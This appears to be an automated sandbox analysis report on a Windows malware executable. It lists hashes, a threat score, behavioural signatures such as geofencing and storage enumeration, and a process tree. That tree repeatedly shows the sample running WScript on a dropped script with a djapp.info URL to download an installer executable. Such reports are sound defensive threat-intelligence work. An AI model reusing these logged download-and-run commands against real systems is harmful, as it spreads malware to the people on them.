Analysis

  • max time kernel
    187s
  • max time network
    195s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-11-2022 02:57

General

  • Target

    ad621435703e30947928cd7542ef2003bd428cb50e436bd4c765dd0a67cb8e26.exe

  • Size

    184KB

  • MD5

    04fd1f06098ddcabdef583509030d3c7

  • SHA1

    2a6081e174c70a75d45613d4084fc1dd5048081a

  • SHA256

    ad621435703e30947928cd7542ef2003bd428cb50e436bd4c765dd0a67cb8e26

  • SHA512

    2db62979af85f5bea15e2b17416e2b0cc17702bd54b154a4177d2d0bda0cda396db0b382948a2e90c7ce81f81cb836b4edff21a3c9453c799acdc8ea537c3543

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3a:/7BSH8zUB+nGESaaRvoB7FJNndnf

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 12 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad621435703e30947928cd7542ef2003bd428cb50e436bd4c765dd0a67cb8e26.exe
    "C:\Users\Admin\AppData\Local\Temp\ad621435703e30947928cd7542ef2003bd428cb50e436bd4c765dd0a67cb8e26.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B94.js" http://www.djapp.info/?domain=LlMNsdEOZe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2B94.exe
      2⤵
      • Blocklisted process makes network request
      PID:2568
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B94.js" http://www.djapp.info/?domain=LlMNsdEOZe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2B94.exe
      2⤵
      • Blocklisted process makes network request
      PID:2428
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B94.js" http://www.djapp.info/?domain=LlMNsdEOZe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2B94.exe
      2⤵
      • Blocklisted process makes network request
      PID:1828
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B94.js" http://www.djapp.info/?domain=LlMNsdEOZe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2B94.exe
      2⤵
      • Blocklisted process makes network request
      PID:3632
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2B94.js" http://www.djapp.info/?domain=LlMNsdEOZe.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf2B94.exe
      2⤵
      • Blocklisted process makes network request
      PID:1872

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf2B94.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • memory/1828-135-0x0000000000000000-mapping.dmp

  • memory/1872-137-0x0000000000000000-mapping.dmp

  • memory/2428-134-0x0000000000000000-mapping.dmp

  • memory/2568-132-0x0000000000000000-mapping.dmp

  • memory/3632-136-0x0000000000000000-mapping.dmp